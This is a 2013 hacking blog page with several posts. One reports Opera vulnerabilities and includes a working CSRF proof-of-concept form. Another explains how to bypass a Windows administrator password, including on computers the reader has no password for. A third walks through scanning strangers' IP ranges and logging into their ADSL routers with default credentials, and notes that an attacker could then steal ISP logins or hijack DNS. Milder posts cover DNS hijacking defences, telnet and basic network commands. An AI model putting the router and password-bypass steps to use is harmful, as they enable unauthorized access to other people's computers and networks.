Search This Blog

Translate

Thursday, April 18, 2013

Stored XSS, CSRF And Clickjacking Vulnerabilities in Opera

Now a days, I am not much active in bug bounty programs, However, still i wanted to share my experience with Opera, Opera does not have a bug bounty program, However they certainly have their own way of thanking researchers by sending them some swag and listing their name under Hall of fame.

I reported few vulnerabilities to opera including a Stored XSS, CSRF and a clickjacking vulnerability. The POC's for the vulnerabilities are as follows:

Stored XSS 



The "Username" input was not being sanitized properly, Which resulted in an execution of javascript.

 CSRF POC

 The form was missing with CSRF tokens, An attacker could have used a CSRF attack in order to manipulate the form details.

 POC
<html>
  
  <body>
    <form action="https://apps.opera.com/en_pk/account.php?action=details" method="POST">
      <input type="hidden" name="email" value="rafaybaloch&#64;gmail&#46;com" />
      <input type="hidden" name="name" value="Rafay&#32;Baloch" />
      <input type="hidden" name="address1" value="f&#45;10&#44;afasf&#32;afs&#32;asf&#32;1&#44;block&#32;15&#32;near&#32;income&#32;tax&#32;office&#44;asssssss&#45;e&#45;johar" />
      <input type="hidden" name="address2" value="" />
      <input type="hidden" name="city" value="Karachi" />
      <input type="hidden" name="state" value="" />
      <input type="hidden" name="country" value="PK" />
      <input type="hidden" name="zip" value="44000" />
      <input type="hidden" name="phone" value="&#43;923333333333" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>

Opera Hall Of Fame

So, For my findings, Opera listed my name under their hall of fame:



 Gift from Opera

 As a token of appreciation, they also send me the following gifts:

Opera is still sending some good stuff, I would recommend researchers to start looking opera's subdomains for low hanging fruits such as XSS, I know there is a lot of vulnerabilities out there unfixed.
Posted by at No comments:
Share on Tumblr

Saturday, March 30, 2013

How to Hack Windows Administrator Password

This post will show you how to hack Windows administrator password at times when you forget it or when you want to gain access to a computer for which you do not know the password.
Most of us have experienced a situation where in we need to gain access to a computer which is password protected or at times we may forget the administrator password without which it becomes impossible to log in to the computer. So, if you are somewhat in a same kind of situation, here is an excellent hack using which you can reset the password or make the password empty (remove the password) so that you can gain administrator access to the computer.

Hacking the Windows Admin Password:

You can do this with a small tool called  Offline NT Password & Registry Editor. This utility works offline, that means you need to shut down your computer and boot off your using a floppy disk, CD or USB device (such as pen drive). The tool has the following features:
  • You do not need to know the old password to set a new one.
  • This tool can detect and unlock locked or disabled out user accounts!
  • There is also a registry editor and other registry utilities that works under linux/unix, and can be used for other things than password editing.

How it Works?

Most Windows operating systems stores the login passwords and other encrypted passwords in a file called sam (Security Accounts Manager). This file can be usually found in \windows\system32\config. This file is a part of Windows registry and remains inaccessible as long as the OS is active. Hence, it is necessary that you boot off your computer and access this sam file via the boot menu. This tool intelligently gains access to this file and will reset/remove the password associated with administrator or any other account.
The download link for both CD and floppy drives along with the complete instructions is given below:
It is recommended that you download the CD version of the tool since the floppy drive is outdated or doesn’t exist in today’s computer. After the download, you’ll get a bootable image which you need to burn it onto a blank CD. Now, boot your computer from this CD and follow the screen instructions to reset the password.

Another Simple Way to Reset Non-Administrator Account Passwords:

Here is another simple way through which you can reset the password of any non-administrator accounts. The only requirement for this is that you need to have administrator privileges. Here is a step-by-step instruction to accomplish this task:
  1. Open the command prompt (Start -> Run -> type cmd -> Enter)
  2. Now type net user and hit Enter
  3. Now the system will show you a list of user accounts on the computer. Say for example, you need to reset the password of the account by name John, then do as follows:
  4. Type net user John * and hit Enter. Now, the system will ask you to enter the new password for the account. That’s it. Now you’ve successfully reset the password for John without knowing his old password.
So, in this way you can reset the password of any Windows account at times when you forget it so that you need not re-install your OS for any reason. I hope this helps.
Posted by at No comments:
Share on Tumblr

How to Hack an Ethernet ADSL Router

Almost half of the Internet users across the globe use ADSL routers/modems to connect to the Internet. However, most of them are unaware of the fact that it has a serious vulnerability in it which can easily be exploited by anyone with a basic knowledge of computer. In this post, I will show you how to hack an Ethernet ADSL router by exploiting the common vulnerability that lies in it.
Every router comes with a username and password using which it is possible to gain access to the router settings and configure the device. The vulnerability actually lies in the Default username and password that comes with the factory settings. Usually the routers come preconfigured from the Internet Service provider and hence the users do not bother to change the password later.
This makes it possible for the attackers to gain unauthorized access to the router and modify its settings using a common set of default usernames and passwords. Here is how you can do it. Before you proceed, you need the following tool in the process:

Hacking the ADSL Router:

Here is a detailed information on how to exploit the vulnerability of an ADSL router:
  1. Go to www.whatismyipaddress.com. Once the page is loaded, you will find your IP address. Note it down.
  2. Open Angry IP Scanner, here you will see an option called IP Range: where you need to enter the range of IP address to scan for.
    3. Suppose your IP is 117.192.195.101, you can set the range something as 117.192.194.0 to 117.192.200.255 so that there exists at least 200-300 IP addresses in the range.
  3. Go to Tools->Preferences and select the Ports tab. Under Port selection enter 80 (we need to scan for port 80). Now switch to the Display tab, select the option “Hosts with open ports only” and click on OK.
    4. IP Scanner Settings
    I have used Angry IP Scanner v3.0 beta-4. If you are using a different version, you need to Go to Options instead of Tools
  4. Now click on Start. After a few minutes, the IP scanner will show a list of IPs with Port 80 open as shown in the below image:
    5. Angry IP Scanner
  5. Now copy any of the IP from the list, paste it in your browser’s address bar and hit enter. A window will popup asking for username and password. Since most users do not change the passwords, it should most likely work with the default username and password. For most routers the default username-password pair will be admin-admin or admin-password.
Just enter the username-password as specified above and hit enter. If you are lucky you should gain access to the router settings page where you can modify any of the router settings. The settings page can vary from router to router. A sample router settings page is shown below:
Router Settings Page Hacked!
If you do not succeed to gain access, select another IP from the list and repeat the step-5. At least 1 out of 5 IPs will have a default password and hence you will surely be able to gain access.

What can a Hacker do by Gaining Access to the Router Settings?

By gaining access to the router settings, it is possible for an attacker to modify any of the router settings which results in the malfunction of the router. As a result the target user’s computer will be disconnected from the Internet. In the worst case the attacker can copy the ISP login details from the router to steal the Internet connection or even hijack the DNS by pointing it at a rouge DNS server. If this happens, the victim will have to reconfigure/reset the router settings in order to bring it back to normal.

The Verdict:

If you are using an ADSL router to connect to the Internet, it is highly recommended that you immediately change your password to prevent any such attacks in the future. Who knows, you may be the next victim of such an attack.
Since the configuration varies from router to router, you need to contact your ISP for details on how to change the password for your model.
Warning!
All the information provided in this post are for educational purposes only. Please do not use this information for illegal purposes.
Posted by at No comments:
Share on Tumblr

DNS Hijacking: What it is and How it Works

DNS hijacking (sometimes referred to as DNS redirection) is a type of malicious attack that overrides a computer’s TCP/IP settings to point it at a rogue DNS server, thereby invalidating the default DNS settings. In other words, when an attacker takes control of a computer to alter its DNS settings, so that it now points to a rogue DNS server, the process is referred to as DNS hijacking.
As we all know, the “Domain Name System (DNS)” is mainly responsible for translating a user friendly domain name such as “google.com” to its corresponding IP address “74.125.235.46″. Having a clear idea of DNS and its working can help you better understand what DNS hijacking is all about. If you are fairly new to the concept of DNS, I would recommend reading my previous post on How Domain Name System Works.

How DNS Hijacking Works?

As mentioned before, DNS is the one that is responsible for mapping the user friendly domain names to their corresponding IP addresses. This DNS server is owned and maintained by your Internet service provider (ISP) and many other private business organizations. By default, your computer is configured to use the DNS server from the ISP. In some cases, your computer may even be using the DNS services of other reputed organizations such as Google. In this case, you are said to be safe and everything seems to work normally.
DNS Hijacking
But, imagine a situation where a hacker or a malware program gains unauthorized access to your computer and changes the DNS settings, so that your computer now uses one of the rogue DNS servers that is owned and maintained by the hacker. When this happens, the rogue DNS server may translate domain names of desirable websites (such as banks, search engines, social networking sites etc.) to IP addresses of malicious websites. As a result, when you type the URL of a website in the address bar, you may be taken to a fake website instead of the one you are intending for. Sometimes, this can put you in deep trouble!

What are the Dangers of DNS Hijacking?

The dangers of DNS hijacking can vary and depend on the intention behind the attack. Many ISPs such as “OpenDNS” and “Comcast” use DNS hijacking for introducing advertisements or collecting statistics. Even though this can cause no serious damage to the users, it is considered as a violation of RFC standards for DNS responses.
Other dangers of DNS hijacking include the following attacks:
Pharming: This is a kind of attack where a website’s traffic is redirected to another website that is a fake one. For example, when a user tries to visit a social networking website such as Facebook.com he may be redirected to another website that is filled with pop-ups and advertisements. This is often done by hackers in order to generate advertising revenue.
Phishing: This is a kind of attack where users are redirected to a malicious website whose design (look and feel) matches exactly with that of the original one. For example, when a user tries to log in to his bank account, he may be redirected to a malicious website that steals his login details.

How to Prevent DNS Hijacking?

In most cases, attackers make use of malware programs such as a trojan horse to carry out DNS hijacking. These DNS hijacking trojans are often distributed as video and audio codecs, video downloaders, YoTube downloaders or as other free utilities. So, in order to stay protected, it is recommended to stay away from untrusted websites that offer free downloads. The DNSChanger trojan is an example of one such malware that hijacked the DNS settings of over 4 million computers to drive a profit of about 14 million USD through fraudulent advertising revenue.
Also, it is necessary to change the default password of your router, so that it would not be possible for the attacker to modify your router settings using the default password that came with the factory setting. For more details on this topic you can read my other post on How to Hack an Ethernet ADSL Router.
Installing a good antivirus program and keeping it up-to-date can offer a great deal of protection to your computer against any such attacks.

What if you are already a victim of DNS hijacking?

If you suspect that your computer is infected with a malware program such as DNSChanger, you need not panic. It is fairly simple and easy to recover from the damage caused by such programs. All you have to do is, just verify your current DNS settings to make sure that you are not using any of those DNS IPs that are blacklisted. Otherwise re-configure your DNS settings as per the guidelines of your ISP.
Posted by at No comments:
Share on Tumblr

How to Enable Telnet Feature in Vista and Windows 7

Most of you may be familiar with the telnet command. It is one of the well known Windows IP Utilities. If you are using a Windows XP computer, the telnet command is available by default. However, in case of Vista and Windows 7, the telnet command is disabled by default.
So, when you try to use the telnet command in Windows Vista/7 you get the following error message:
‘telnet’ is not recognized as an internal or external command, operable program or batch file.
You get this error because unlike Windows XP, Vista and Windows 7 have the telnet feature disabled by default. So, in order to fix this issue, you will have to manually enable/turn on the telnet feature.
Here is a step-by-step procedure to turn on the telnet feature in Vista and Windows 7:
  1. Go to the Control Panel.
  2. Click on the sub heading “Uninstall a program” under the main heading Programs.
    NOTE: IF you are in the Classic View click on Programs and Features.
  3. In the left panel under the Tasks select the option Turn Windows features on or off.
  4. Now, a new window will open up. In this new window, select the following options:
    Telnet Client
    Telnet Server (optional)
  5. After selecting click on OK.
Now, wait for few minutes till the telnet feature is installed. Once the telnet feature is installed you can go to the command prompt and use the telnet command. System restart is not required.
I hope this article has helped you. Pass your comments.
Posted by at No comments:
Share on Tumblr

Windows TCP/IP Utilities

The following are the IP utilities available in Windows that help in finding out the information about IP Hosts and domains. These are the basic IP commands that every beginner in the field of hacking must know!
Please note that the the term Host used in this article may also be assumed as a Website for simple understanding purpose.

1. PING

PING is a simple application (command) used to determine whether a host is online and available. PING command sends one or more ICMP “Echo message” to a specified host requesting a reply. The receiver (Target Host) responds to this ICMP “Echo message” and returns it back to the sender. This confirms that the host is online and available. Otherwise the host is said to be unavailable.
Syntax: C:\>ping gohacking.com

2. TELNET

Telnet command is used to connect to a desired host on a specified port number. Just like a house having several doors, a host or a server has different ports running different services. For example port 80 runs HTTP, port 23 runs TELNET while port 25 SMTP. Like this there are several ports on a server through which it is possible for a remote client to establish a connection.
For a connection to be established, the port has to be open. For example, in the following command, we are trying to establish a connection with the Yahoo server on port 25.:
Syntax: C:\>telnet yahoo.com 25
C:\>telnet yahoo.com
The default port number is 23. When the port number is not specified the default number is assumed.
NOTE: If you are using Vista or Windows 7, Telnet feature may not be available by default. To enable it, you can refer my other post: How to enable Telnet feature in Vista and Windows 7?.

3. NSLOOKUP

Many times, we think about finding out the IP address of a given site. Say for example google.com, yahoo.com, microsoft.com etc. But how to do this? There are several websites out there that can be used to find out the IP address of any given website. However, in the Windows operating itself, we have an inbuilt tool to do this job for us. It is called “nslookup”.
This tool can be used for resolving a given domain name into its IP address (determine the IP of a given site name). Not only this, it can also be used for reverse IP lookup. That is, if the IP address is given it determines the corresponding domain name for that IP address.
Syntax: C:\>nslookup google.com

4. NETSTAT

The netstat command can be used to display the current TCP/IP network connections. For example, the following “netstat” command displays all the currently established connections and their corresponding listening port numbers on your computer.
Syntax: C:\>netstat -a
Type “Ctrl+Z” to exit.
This command can be used to determine the IP address/Host names of all the applications connected to your computer. If a hacker is connected to your system even the hacker’s IP is displayed. So, the “netstat” command can be used to get an idea of all the active connections of a given system.
NOTE: In order to obtain help on any given command such as its syntax, attributes etc., just type the “command-name /?” to obtain usage details on it. For example, to obtain help on “netstat” command just type: netstat /? and hit enter.
Posted by at No comments:
Share on Tumblr

How to Become a Hacker

Most of us are very curious to learn Hacking and want to become a Hacker, but don’t know where to start. If you are in a similar situation, then this article will most likely guide you to reach your goal.
On a regular basis, I get a lot of emails where people ask me ”How to Become a Hacker”. In fact, this question is not an easy one to answer, since hacking is not an art that can be mastered overnight. It requires knowledge, skills, creativity, dedication and of course the TIME. Everyone can become a hacker provided they learn it from the basics. So, if you wanna become a hacker, then all you need is a good source of knowledge that will guide you through various concepts of hacking from the basics.

What Skills do I Need to Become a Hacker?

In simple words, there is no magic to become a  Hacker. But, like anything else that is worthwhile, it takes dedication and willingness to learn. It is most important to have a basic knowledge of the topics such as operating system basics and it’s working, computer networks, computer security and of course programming. However, you need not be the expert in each or any of those topics mentioned. As you gain the basic knowledge of various branches of computer, you can choose any one as your favorite and advance in it.

What is the Best Way to Become a Hacker?

As said earlier, the best way to become a hacker is to start from the basics. You will have to master the basics to build a strong foundation. And once this is done, you’ll be in a position to explore new ideas and start thinking like a Hacker.
There exists tons of books on the market that will teach you hacking, but unfortunately, it requires a set of pre-established skills and knowledge to understand the concepts explained in those books. Also, most of them are not suitable for the beginners who doesn’t know anything about hacking.
Anyhow, I have found an excellent Book for the Beginners that will teach you hacking from the basics. This book is the first step to fulfil your dream of becoming a hacker. When I first read this book, I myself was surprised at how simple and easy it was laid out. I decided to introduce this book for all those enthusiasts as it can be the right source for the beginners who are interested to learn hacking from the basics. The good thing about this book is that, any one can understand the concepts presented here, without the need for any prior knowledge. This book is called:
Hacker's Underground Handbook
Learn Hacking
This book will take you from the core to the top. It will tell you how to hack in simple steps. Everything in this book is presented in a simple and effective manner. It is a great source for the beginner who would like to become a hacker. This will install a Hacker’s Mindset on you.
The following skills are uncovered in this book:
You will learn all the hacker underground tricks and learn to apply them in real world situations.
  1. You will be put into a hacker mindset so that you will learn to think like a Hacker.
  2. By learning how a hacker thinks and acts, you will be able to protect yourself from future hack attacks.
  3. You will acquire knowledge nonexistent to 99.9% of the people in the world!
  4. This underground handbook may get you interested in pursuing a career as an Ethical Hacker.
  5. This book is of great value for all those who have a dream to become a Hacker.
So what are you waiting for? Go grab your copy now from the following link:
Wait… This is not the end. Rather it is just the beginning of your journey. To become a hacker, all you need is dedication and hard work. I wish you all the best for your future success.
Posted by at No comments:
Share on Tumblr
Subscribe to: Posts (Atom)